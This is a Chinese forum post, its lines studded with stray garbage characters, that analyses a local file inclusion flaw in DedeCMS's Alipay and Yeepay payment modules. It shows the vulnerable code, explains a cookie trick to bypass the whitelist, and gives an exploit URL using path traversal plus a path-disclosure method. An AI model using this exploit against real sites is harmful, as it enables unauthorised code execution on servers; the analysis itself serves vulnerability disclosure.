晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)( c* |- y8 S+ U9 k0 v
& {; R. v, l: I/ A3 o! E: C
出现漏洞的两个文件为:
: z% i2 o6 v. ~1 MInclude/payment/alipay.php
' l N: C& L9 @4 b+ G, S8 ZInclude/payment/yeepay.php6 a+ S7 Z8 ]5 Z$ M6 E
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
" A* R5 N! ^7 Y& K
9 i# T! l1 l H) a3 t4 YInclude/payment/alipay.php
' W0 j4 L: e/ r/ V2 h) e& ~5 i
. p- [4 `* X h8 r......! F4 t. L, e- }0 K2 H d% H
function respond()
[9 I1 ?. { B+ q% ] {8 ^: I$ P Y0 b7 n7 O8 z
if (!empty($_POST))
! d+ J/ I5 k, j: b& }2 T% w3 H: W {- A0 e; F V$ j% }6 y0 J! o- j
foreach($_POST as $key => $data)
; e4 P5 G1 ?2 h# s3 \ {) p3 Q8 E% w7 T2 C
$_GET[$key] = $data;/ M' j9 K$ _0 z- n" q9 m
}( p! y' m) D! P# U" R) ^
}7 j8 ?( Q( o! `
/* 引入配置文件 */
7 D2 B! S0 _" H- |/ F; } require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';) k, b- J- [# g0 ~+ C) t
......
" _, [+ z% J- V9 C, H t/ o! w/ ^$ u & d: V( U6 a) a. ^" `! g
e# S& g2 I4 H% [- ~1 V; J; C" L大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。+ [% n4 t! q. M. F0 N
: K4 u# q, T0 u1 U6 ^Include/payment/yeepay.php1 p4 S/ O' P4 {6 R: v$ Y3 d1 ?) _
0 ]/ C) Q1 s" D4 J8 J& j ; N1 _& ?) M$ X3 G) {5 m
6 t, J* |# I& P) U! v......3 t+ C4 }0 ]. @5 i% e5 ~' B( x( K) k
function respond()5 S( L' v% \1 v/ T" ]$ \
{0 P( F' D0 o3 x7 t0 p
6 a% G _2 B( y: f$ R, t) J
/* 引入配置文件 */
7 m! [# r$ u' C W require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';' W# B9 D% d2 l. s* B
4 `' {7 S. d ]2 i" K( n/ @4 L J
$p1_MerId = trim($payment['yp_account']);
) a0 r+ `; g, o' _3 S# t% { $merchantKey = trim($payment['yp_key']);
. m) b5 B4 \' g" g( M3 H5 P...... ' G" ?9 u; b: s5 l1 A7 [+ \, V
$ o+ a+ V7 q/ q6 p1 k: C d
- K" h* V1 p, P* Z- R0 z- T: T
( u" a4 h9 M# v4 Y2 {, m: s- ?
_: T1 ~% c) b; K" G. Q大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。5 y7 [+ X' }! r- R/ n2 E; K
# E/ u9 ]( R. I3 `9 O/ @
这两个方法在plus/carbuyaction.php文件调用。
$ p5 n8 t8 l- [! h; h+ j% M4 k8 d# L" C( L
plus/carbuyaction.php# |1 u! Y; f6 [8 d9 [: G; z0 q& G
h' m& j% I8 _
......8 G$ _7 x) ~& B: I* U$ T
} else if ($dopost == 'return') {
1 u5 d) Y) o! x; M $write_list = array('alipay', 'bank', 'cod', 'yeepay');8 I4 c9 j( h( `$ a- G( S
if (in_array($code, $write_list))
$ r& d& ]$ Y! \ b {3 q7 w" F4 ]3 u8 d8 ^( M _
require_once DEDEINC.'/payment/'.$code.'.php';
1 V; R' I! j. q/ Q/ [" Y $pay = new $code;( I# V: P1 Z2 O" `- K
$msg=$pay->respond();
8 L% _/ Y" L# G s0 \2 F7 J ShowMsg($msg, "javascript:;", 0, 3000);8 ?. x2 ]2 ~ u+ h
exit();
' f0 w3 ] _1 Q3 ~' Z7 v } else {
) h) j6 A7 Y) _. ? exit('Error:File Type Can\'t Recognized!');
6 H8 \( ~8 W8 `7 P. x/ | }0 ]" U$ m) o8 b
}+ H, J: I! {0 x+ D% ~- J
......
1 ?! p( ?' B( R$ `: B3 b/ @% E 3 v8 |3 H0 B, U. \
2 s6 k9 T4 E6 G V+ j
5 x" O+ `6 {! ^ d+ }7 l4 b8 H
- y0 s* H! z* w/ r# \ 9 e0 L& _; ?0 y% {
. u4 x% b6 a1 Z \/ K5 v大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。. E$ o2 y: v0 q" ` e z
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
$ H$ l3 Z8 j- `7 ^" A9 z7 O7 @ u! m
回到include/common.inc.php来看看他的机制。
$ w. d: p7 }9 q; x6 N# N/ U& O3 C- K5 ^; T9 t5 S& h9 Q
, A8 K8 L1 Y! O. ^; |+ G5 d9 i; f0 @+ U
......
0 z5 q( p4 G. W# [% T2 n/ I; Iforeach(Array('_GET','_POST','_COOKIE') as $_request)
4 z. e1 J: q) u9 X, x$ n+ d. c{8 X* c1 V* J e6 _4 {; J( X; [5 u
foreach($$_request as $_k => $_v)
" s9 F0 N; U% {3 F, D( `4 \ {( [% K6 d) b3 l5 s
if($_k == 'nvarname') ${$_k} = $_v;: f1 j" U; }9 T
else ${$_k} = _RunMagicQuotes($_v);1 g- x$ }+ L h, v J
}
; q# y# m- T1 c$ f- R}0 e' q$ X* h5 G! @( G5 f
......
9 Z1 Y; y+ G& u大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:9 X3 B; h$ \8 q& {% ~
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |